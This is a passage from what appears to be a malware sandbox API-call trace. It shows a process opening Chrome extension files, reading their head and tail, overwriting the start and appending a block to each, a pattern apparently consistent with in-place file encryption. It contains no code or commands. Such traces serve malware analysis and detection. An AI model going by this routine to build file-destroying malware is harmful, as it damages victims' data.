lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.820] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.820] ReadFile (in: hFile=0x1ac, lpBuffer=0x25fa608, nNumberOfBytesToRead=0x108, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25fa608*, lpNumberOfBytesRead=0x2f4f2bc*=0x108, lpOverlapped=0x0) returned 1 [0048.820] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.820] WriteFile (in: hFile=0x1ac, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x690, lpOverlapped=0x0) returned 1 [0048.821] CloseHandle (hObject=0x1ac) returned 1 [0048.821] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.821] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.821] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xea [0048.821] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.821] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.821] ReleaseMutex (hMutex=0x128) returned 1 [0048.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.822] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.822] ReadFile (in: hFile=0x1ac, lpBuffer=0x2737b58, nNumberOfBytesToRead=0xea, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2737b58*, lpNumberOfBytesRead=0x2f4f2bc*=0xea, lpOverlapped=0x0) returned 1 [0048.822] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.822] WriteFile (in: hFile=0x1ac, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x672, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x2f4f2d0*=0x672, lpOverlapped=0x0) returned 1 [0048.823] CloseHandle (hObject=0x1ac) returned 1 [0048.823] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_route_details.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.824] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.824] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x3a258 [0048.824] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.824] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.824] ReleaseMutex (hMutex=0x128) returned 1 [0048.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cast_route_details.js", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0048.824] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cast_route_details.js", cchWideChar=21, lpMultiByteStr=0x1e78b7c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cast_route_details.js", lpUsedDefaultChar=0x0) returned 21 [0048.824] ReadFile (in: hFile=0x1ac, lpBuffer=0x2805cf8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2805cf8*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0048.826] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x39258 [0048.826] ReadFile (in: hFile=0x1ac, lpBuffer=0x276b358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.826] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x39258 [0048.826] WriteFile (in: hFile=0x1ac, lpBuffer=0x280dd28*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x280dd28*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.827] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0048.827] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0048.827] CloseHandle (hObject=0x1ac) returned 1 [0048.827] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.827] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.827] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x174c [0048.827] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.828] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.828] ReleaseMutex (hMutex=0x128) returned 1 [0048.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="view.html", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.828] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="view.html", cchWideChar=9, lpMultiByteStr=0x1e6302c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="view.html", lpUsedDefaultChar=0x0) returned 9 [0048.828] ReadFile (in: hFile=0x1ac, lpBuffer=0x276b358, nNumberOfBytesToRead=0x174c, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesRead=0x2f4f2bc*=0x174c, lpOverlapped=0x0) returned 1 [0048.830] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0048.830] WriteFile (in: hFile=0x1ac, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1cd4, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x1cd4, lpOverlapped=0x0) returned 1 [0048.831] CloseHandle (hObject=0x1ac) returned 1 [0048.831] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\mirroring_hangouts.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0048.831] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.831] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x794cf [0048.831] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.831] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.831] ReleaseMutex (hMutex=0x128) returned 1 [0048.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mirroring_hangouts.js", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0048.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="mirroring_hangouts.js", cchWideChar=21, lpMultiByteStr=0x1e78b7c, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mirroring_hangouts.js", lpUsedDefaultChar=0x0) returned 21 [0048.831] ReadFile (in: hFile=0x1ac, lpBuffer=0x2805cf8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x2805cf8*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0048.838] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x784cf [0048.838] ReadFile (in: hFile=0x1ac, lpBuffer=0x261b6a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x261b6a8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.842] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x784cf [0048.843] WriteFile (in: hFile=0x1ac, lpBuffer=0x261d608*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x261d608*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.843] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0048.843] WriteFile (in: hFile=0x1ac, lpBuffer=0x2613678*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x2613678*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0048.843] CloseHandle (hObject=0x1ac) returned 1 [0048.843] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0048.968] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.968] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x4afe [0048.969] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.969] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.969] ReleaseMutex (hMutex=0x128) returned 1 [0048.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.969] ReadFile (in: hFile=0x1a8, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.982] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3afe [0048.982] ReadFile (in: hFile=0x1a8, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.985] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3afe [0048.985] WriteFile (in: hFile=0x1a8, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0048.985] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0048.985] WriteFile (in: hFile=0x1a8, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0048.985] CloseHandle (hObject=0x1a8) returned 1 [0048.986] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0048.986] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.986] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x3ff2 [0048.986] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0048.986] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0048.986] ReleaseMutex (hMutex=0x128) returned 1 [0048.986] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0048.986] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6306c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0048.986] ReadFile (in: hFile=0x1a8, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0048.989] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x2ff2 [0048.989] ReadFile (in: hFile=0x1a8, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.002] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x2ff2 [0049.002] WriteFile (in: hFile=0x1a8, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.002] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0049.002] WriteFile (in: hFile=0x1a8, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0049.002] CloseHandle (hObject=0x1a8) returned 1 [0049.003] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0049.003] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0049.003] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x583f [0049.003] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0049.003] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.003] ReleaseMutex (hMutex=0x128) returned 1 [0049.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0049.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6314c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0049.003] ReadFile (in: hFile=0x1a8, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.005] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x483f [0049.005] ReadFile (in: hFile=0x1a8, lpBuffer=0x276b958, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x276b958*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0049.005] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x483f [0049.005] WriteFile (in: hFile=0x1a8, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0049.006] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0049.006] WriteFile (in: hFile=0x1a8, lpBuffer=0x1da95d8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da95d8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0049.006] CloseHandle (hObject=0x1a8) returned 1 [0049.006] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0049.006] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0049.006] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x490e [0049.006] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0049.006] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0049.006] ReleaseMutex (hMutex=0x128) returned 1 [0049.006] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, 